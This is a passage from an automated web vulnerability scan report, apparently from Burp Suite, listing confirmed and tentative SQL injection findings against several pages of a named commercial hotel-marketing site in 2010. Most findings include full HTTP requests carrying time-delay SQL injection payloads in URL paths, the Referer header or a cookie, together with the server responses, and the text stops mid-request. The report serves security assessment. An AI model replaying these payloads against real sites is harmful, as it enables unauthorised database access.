<!--include virtual="/accommodations/_ePresence/ePresence_Header_Scripts.asp"-->

<link rel="stylesheet" type="text/css" href="/accommodations/_css/styles1.css">

<head>
<meta http-equiv="Content
...[SNIP]...
2.5. http://www.cendyn.com/Profile/eFolio.asp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/eFolio.asp

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 2. The application took 64468 milliseconds to respond to the request, compared with 1016 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile/eFolio.asp'waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15451
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:39:58 GMT

<!--include virtual="/accommodations/_ePresence/ePresence_Header_Scripts.asp"-->

<link rel="stylesheet" type="text/css" href="/accommodations/_css/styles1.css">

<head>
<meta http-equiv="Content
...[SNIP]...
2.6. http://www.cendyn.com/Profile/ePlanner.asp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.cendyn.com
Path:   /Profile/ePlanner.asp

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /Profile'/ePlanner.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response 1

HTTP/1.1 500 Internal Server Error
Date: Wed, 29 Sep 2010 13:33:22 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Content-Length: 4659
Content-Type: text/html
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<hea
...[SNIP]...

Request 2

GET /Profile''/ePlanner.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response 2

HTTP/1.1 302 Object moved
Date: Wed, 29 Sep 2010 13:33:26 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Location: /accommodations/
Content-Length: 137
Content-Type: text/html
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/accommodations/">here</a>.</body>
2.7. http://www.cendyn.com/Profile/ePlanner.asp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/ePlanner.asp

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ',0,0,0)waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 2. The application took 21015 milliseconds to respond to the request, compared with 1016 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile/ePlanner.asp',0,0,0)waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 500 Internal Server Error
Date: Wed, 29 Sep 2010 13:51:47 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Content-Length: 4642
Content-Type: text/html
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<hea
...[SNIP]...
2.8. http://www.cendyn.com/Profile/ePlanner.asp [Referer HTTP header]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/ePlanner.asp

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. The payload ',0)waitfor%20delay'0%3a0%3a20'-- was submitted in the Referer HTTP header. The application took 22015 milliseconds to respond to the request, compared with 1016 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile/ePlanner.asp HTTP/1.1
Accept: */*
Referer: http://www.google.com/search?hl=en&q=',0)waitfor%20delay'0%3a0%3a20'--
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 10081
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:31:11 GMT

<H&trade;L>
<HEAD>

<title>Online Electronic Brochures: Cendyn Internet Marketing Online Advertising Agency Hotel Resort Casino Conference Center CVB Hospitality Tourism Travel Restaurants Website
...[SNIP]...
2.9. http://www.cendyn.com/Profile/eRetrieval.asp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/eRetrieval.asp

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 1. The application took 21360 milliseconds to respond to the request, compared with 1016 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile'waitfor%20delay'0%3a0%3a20'--/eRetrieval.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15451
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:30:47 GMT

<!--include virtual="/accommodations/_ePresence/ePresence_Header_Scripts.asp"-->

<link rel="stylesheet" type="text/css" href="/accommodations/_css/styles1.css">

<head>
<meta http-equiv="Content
...[SNIP]...
2.10. http://www.cendyn.com/Profile/eRetrieval.asp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.cendyn.com
Path:   /Profile/eRetrieval.asp

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /Profile'/eRetrieval.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response 1

HTTP/1.1 500 Internal Server Error
Date: Wed, 29 Sep 2010 13:57:02 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Content-Length: 4659
Content-Type: text/html
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<hea
...[SNIP]...

Request 2

GET /Profile''/eRetrieval.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response 2

HTTP/1.1 302 Object moved
Date: Wed, 29 Sep 2010 13:57:04 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Location: /accommodations/
Content-Length: 137
Content-Type: text/html
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/accommodations/">here</a>.</body>
2.11. http://www.cendyn.com/Profile/eRetrieval.asp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.cendyn.com
Path:   /Profile/eRetrieval.asp

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /Profile/eRetrieval.asp' HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response 1

HTTP/1.1 500 Internal Server Error
Date: Wed, 29 Sep 2010 14:00:35 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Content-Length: 4640
Content-Type: text/html
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<hea
...[SNIP]...

Request 2

GET /Profile/eRetrieval.asp'' HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response 2

HTTP/1.1 302 Object moved
Date: Wed, 29 Sep 2010 14:00:37 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Location: /accommodations/
Content-Length: 137
Content-Type: text/html
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/accommodations/">here</a>.</body>
2.12. http://www.cendyn.com/Profile/eRetrieval.asp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/eRetrieval.asp

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ',0,0,0)waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 2. The application took 42765 milliseconds to respond to the request, compared with 1016 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile/eRetrieval.asp',0,0,0)waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 500 Internal Server Error
Date: Wed, 29 Sep 2010 13:50:11 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Content-Length: 4642
Content-Type: text/html
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<hea
...[SNIP]...
2.13. http://www.cendyn.com/Profile/eRetrieval.asp [__utma cookie]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/eRetrieval.asp

Issue detail

The __utma cookie appears to be vulnerable to SQL injection attacks. The payload ',0,0,0)waitfor%20delay'0%3a0%3a20'-- was submitted in the __utma cookie. The application took 42765 milliseconds to respond to the request, compared with 26000 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile/eRetrieval.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1',0,0,0)waitfor%20delay'0%3a0%3a20'--; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 8862
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:50:10 GMT

<HTML>
<HEAD>

<title>Group Meeting Sales Proposal Response Tools: Cendyn Internet Marketing Online Advertising Agency Hotel Resort Casino Conference Center CVB Hospitality Tourism Travel Restauran
...[SNIP]...
2.14. http://www.cendyn.com/Profile/ebooker.asp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/ebooker.asp

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload ',0,0)waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 1. The application took 22156 milliseconds to respond to the request, compared with 1016 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile',0,0)waitfor%20delay'0%3a0%3a20'--/ebooker.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 500 Internal Server Error
Date: Wed, 29 Sep 2010 13:31:11 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Content-Length: 4642
Content-Type: text/html
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<hea
...[SNIP]...
2.15. http://www.cendyn.com/Profile/ebooker.asp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/ebooker.asp

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ',0,0,0)waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 2. The application took 42765 milliseconds to respond to the request, compared with 1016 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile/ebooker.asp',0,0,0)waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 500 Internal Server Error
Date: Wed, 29 Sep 2010 13:50:11 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Content-Length: 4642
Content-Type: text/html
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<hea
...[SNIP]...
2.16. http://www.cendyn.com/Profile/ebrochure.asp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.cendyn.com
Path:   /Profile/ebrochure.asp

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /Profile'/ebrochure.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response 1

HTTP/1.1 500 Internal Server Error
Date: Wed, 29 Sep 2010 13:33:22 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Content-Length: 4659
Content-Type: text/html
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<hea
...[SNIP]...

Request 2

GET /Profile''/ebrochure.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response 2

HTTP/1.1 302 Object moved
Date: Wed, 29 Sep 2010 13:33:26 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Location: /accommodations/
Content-Length: 137
Content-Type: text/html
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/accommodations/">here</a>.</body>
2.17. http://www.cendyn.com/Profile/ebrochure.asp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/ebrochure.asp

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 2. The application took 21141 milliseconds to respond to the request, compared with 1016 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile/ebrochure.asp'waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15451
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:51:47 GMT

<!--include virtual="/accommodations/_ePresence/ePresence_Header_Scripts.asp"-->

<link rel="stylesheet" type="text/css" href="/accommodations/_css/styles1.css">

<head>
<meta http-equiv="Content
...[SNIP]...
2.18. http://www.cendyn.com/Profile/ebrochure.asp [Referer HTTP header]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/ebrochure.asp

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. The payload ',0)waitfor%20delay'0%3a0%3a20'-- was submitted in the Referer HTTP header. The application took 22031 milliseconds to respond to the request, compared with 1016 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile/ebrochure.asp HTTP/1.1
Accept: */*
Referer: http://www.google.com/search?hl=en&q=',0)waitfor%20delay'0%3a0%3a20'--
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 11159
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:31:11 GMT

<H&trade;L>
<HEAD>

<title>Online Electronic Brochures: Cendyn Internet Marketing Online Advertising Agency Hotel Resort Casino Conference Center CVB Hospitality Tourism Travel Restaurants Website
...[SNIP]...
2.19. http://www.cendyn.com/Profile/egiftcards.asp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.cendyn.com
Path:   /Profile/egiftcards.asp

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /Profile'/egiftcards.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
